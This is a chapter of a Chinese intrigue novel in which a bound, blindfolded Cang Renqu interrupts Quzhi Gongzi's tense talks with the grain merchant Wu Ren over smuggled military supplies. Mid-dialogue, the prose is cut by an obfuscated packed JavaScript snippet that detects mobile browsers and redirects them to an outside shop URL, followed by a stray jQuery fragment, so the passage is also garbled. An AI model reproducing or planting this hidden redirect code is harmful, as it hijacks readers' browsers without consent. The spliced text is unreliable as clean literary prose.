“咔,咔......咔哒!”
盲卫按停鸟颈处的机关,木鸟声响戛然而止。
二人无言相立,室内陷入一片沉寂。
苍仁曲不敢轻举妄动。广厦楼已将她目前的底细查得一清二楚,从洛予词透露的零星言语中可知,此处绝非她能得罪的。要想留下,眼前这盲卫便是第一道坎。
对方腰间银刃冷光暗敛,难保不藏其他杀器。她赤手空拳,若强行动武,却无速胜之算,万一闹出了大动静,只怕更难收场。
沉默在昏暗中延展。她试探着开口:“你…听我解释吗?”
盲卫无言。
见他仍抱有敌意,苍仁曲脊背一挺,语气陡然转硬:“我要见曲直公子!”
听到“曲直公子”四字,盲卫才微微一动,仅仅吐出两个字:“理由?”
苍仁曲清了清嗓子,解释道:“绮罗舫船炸那夜,我都看到了。吴怀智现在在你们手里,对吧?我知道他是颐丰粮行的二把手,勾结广厦楼将军需倒卖给了岛州倭寇。吴老板现下四处寻他,这些你们也知道,对吧?”
盲卫起了警惕,一只手慢慢扣住腰间的银刃。
苍仁曲逼近半步,吓唬他:“吴老板不过是抛出去的饵。他们真正要钓的,是与吴怀智交易军需之人。这些话,是我亲耳在秀止府听来的。”
“他们?”盲卫起了疑。
苍仁曲刻意卖起关子:“余下的事,我面见曲直公子后自当细说。”
盲卫沉吟片刻,问道:“如何信你?”
苍仁曲坦然承认道:“我的底细,洛予词早已调查清楚,她这些时日也一直盯着我。你若存疑,大可向她求证。”
盲卫思索着,指节从刀柄上缓缓移开:“……你若配合,可以一见。”
总算说动了他,苍仁曲心下舒了口气,说道:“好说……该怎么配合?”
盲卫解下护腕一段墨青布条,递到她面前:“蒙眼。”
苍仁曲照着他的要求蒙上布条,忽然有股不容抗拒的力道按着她的眼珠子,强迫她闭上了眼。盲卫隔着布条掐在她眼皮上,确认无误后,用绳索将她双手反剪缚住。
苍仁曲:“往后都是自己人,还需这般防备么?”
“自己人?”盲卫加大力度,绳索勒紧三分,“你所谓的‘自己人’,惯会暗中尾随窥探这一套?”
苍仁曲没有正面回应,调侃道:“总算听你说了句有人味的话。”
盲卫:“……”
半个时辰前。
地面在无声中移开,木阶向下延伸,连通着一座与地上阁楼完全对称的地下三层建筑。
负一层的内阁里,吴怀智独坐中央,身后站着两名盲卫。四周素屏围成一方囚笼,烛火将屏风后的人影扭曲放大,投在绢面上晃成鬼魅。
其中一面屏风后,吴任正看见侄子模糊的侧影。他猛然起身,却被身旁两名盲卫牢牢按回座位。
“这究竟是何处?!”他声音嘶哑,压抑的怒火在喉间翻滚,“你们究竟是什么人?!”
吴怀智闻声猛地转向那道屏风,声音迸着急切:“叔父!是您吗?您来救我了?!”
吴任左前方的围屏后边传来一道声音:“吴老板,稍安勿躁,此刻在座皆是自己人,不会动你分毫。”
吴任朝那声音来处啐道:“谁与你们这藏污纳垢之地是自己人!广厦楼就是一群祸乱世道的豺狼!”
正前方的围屏后传来一声低笑,话音里带着玩味:“吴老板这话,说得未免武断了些。谁规定坐在这屏风之后的,一定是广厦楼之人?”
吴任双手紧握椅臂,指节发白:“你们究竟是何人?绑我侄儿,所欲何为?!”
“自然是因为令侄私通倭寇、倒卖军需之事。”一道冰冷的声音自他头顶落下。
原来内阁顶部尚有夹层。四面垂帘自栏杆垂下,帘后隐约坐着数道人影,灯火将他们的轮廓映于素帘,如悬空的幽魂。
吴怀智闻言猛地抬头,朝声音来处急辩道:“货不是我漏的!那批军需全程由广厦楼押运,定是他们内部出了纰漏!”
吴怀智身后的屏风内传来低沉的质问:“广厦楼经手的军需皆来自都督府。我与之合作年余,从未有过疏漏。颐丰粮行的商路亦是我引荐,偏偏军需在你手中出事,难道广厦楼自断财路不成?”
吴任耳畔轰鸣,瞳孔骤缩,不敢相信自己听见了什么,呵斥道:“你……你居然背着我,勾结广厦楼?!”
吴怀智本想找叔父求助,听完他呵斥的话,顿时心虚到不敢吭声。
正前方的围屏后传来一声轻笑:“妙极!原来吴老板竟一直被自家侄儿蒙在鼓里。我还当你是早已知情,故作姿态呢。难怪那日在秀止府见你急得团团转。”
都督府、秀止府、广厦楼……三方名号如重石接连压下,吴任气息骤窒,仿若指缝间蝼蚁,一碾即碎。
他权衡一番,深吸一口气,语气陡然转缓:“方才……是吴某失言。既然同处一舟,不知诸位大人对此事可有转圜之策?”
左前方屏风后传来一声轻嗤:“没有颐丰粮行,军需照样能走别的路子出手。我本不愿来此,是曲直公子另有考量,才将诸位聚到此处商议。”
吴任问:“曲直公子是哪位?”
话音未落,一声清越鸟鸣自上方垂帘后传来。
帘外,洛予词托腮而坐,唇角噙着玩味的笑,静听下方动静。
垂帘之内,一只钢羽猎隼静立于男子肘上。曲直公子抚过它锋利的隼羽,缓缓开口道:“吴老板,您才是这座阁间的主角。此次邀您前来,自然是有条件相商。”
吴怀智在两名盲卫的压制下挣扎着,朝吴任嘶喊:“叔父!就是他!一切都是他设的局!”
吴任反而低笑一声:“原来绑我侄儿为质,是要同吴某谈条件?”
曲直公子沉着回应道:“令侄伤我手下在先,扣押数日不过小惩,无论今日谈成与否,人都会平安归还。广厦楼也绝不插手后续之事。”
吴任沉默片刻,抬眼望向垂帘:“愿闻其详。”
曲直公子:“颐丰粮行掌控交州沿海粮市,粮价高悬,百姓难以负荷。岛州限购令一出,两岸流民已无米可炊。我希望贵行让出一线生机,压下粮价,解此饥困。”
吴任:“粮价一降,岛州倭寇必趁虚而入。到时‘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103050|195760||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通倭’的帽子扣下来,吴某纵有十颗脑袋也不够砍。如今与贵楼牵扯令我如履薄冰,公子此议,是要将我推入万丈深渊。”
左前方屏风后的声音再度响起,带着三分讥诮:“颐丰粮行的粮价本非官定,虚高已久,稍作回调于你不过九牛一毛。岛州地狭粮少,历来倚靠交州输粮,如今交岸百姓因粮价高昂流亡岛州,几将岛州存粮啃食殆尽。说到底,你口中的‘倭寇’,大多原是交州活不下去的百姓。”
谈话间,一名盲卫悄步上前,低声禀报:“曲直公子,有生人闯入,称知晓军需内情,求见您。”
曲直公子抬手止住,目光仍垂向下方的围屏:“稍候。”
吴任:“粮价为何高?因为颐丰给农户五五分成,别家只给三成!粮源自然聚到我手中。诸位可知?我行抽成之中,十之八分皆上缴官税,吴某所获不过蝇头微利。百姓吃饭,我也要吃饭。粮价就摆在那里,买不起……就等着饿死。”
右前方的围屏后传来喃喃自语的声音:“饿着肚子的兵怎么打仗?仗打不起来,军需的生意怎么做?”
垂帘后响起一道沉缓的声音,带着思量:“我倒觉得吴老板所言不虚。战争财终究是昙花一现。军需乃官府特制,非我等私产,只需动用手头权柄而做交易,银钱自然流入囊中,横竖成本由官府承担。这凭空生出的‘财’,够在座诸位享乐一生了。”
吴任正前方的围屏后,那道带着笑意的声音再度响起:“吴老板,想撇清干系怕是晚了。秀止府已有证据,将令侄失踪与绮罗舫爆炸牵连。若我再添一笔证词,你说会如何?”
吴任怒了:“方才还说‘绝不插手’,此刻以官威相逼,这便是公子所谓的‘谈条件’?”
对面回应道:“是与吴老板谈条件的是广厦楼,他们不插手,不代表我不会。军需案惊动东宫,牵扯的可不止广厦楼一家,总不能为了令侄一人,砸了所有人的饭碗。”
就在二人言语交锋之际,曲直公子已示意盲卫带人上前。
脚步声自楼梯响起。垂帘外,洛予词原本闲适的坐姿微微一顿,轻声讶异。
“姜姑娘?”
曲直公子闻声侧首。
垂帘外,只见那模糊的女子双目覆着墨青布条,双手反缚身后,唇上胭脂艳得惊心,正微微偏头听着动静。
洛予词看向盲卫:“姜姑娘是我今日刚引入楼的新人,确定没有抓错人吗?”
盲卫答道:“她暗中尾随属下,被当场擒获。”
洛予词:“……”
苍仁曲:“……”
洛予词探究的目光投向苍仁曲:“姜姑娘,你如何得知‘曲直公子’名讳?”
苍仁曲绞尽脑汁,想着怎么把这番谎言圆下去,索性胡说八道:“这些……都无关紧要!我只想说,这一切皆是冲着曲直公子而来的局!”
“谁的局?”
苍仁曲闻声微微一滞,蒙着布的双眼朝声音来处偏了偏。
洛予词提醒她:“曲直公子在问你。”
苍仁曲豁了出去,齿间挤出几个字:“宋家公子,宋谨。”
“……”
帘内之人沉默了。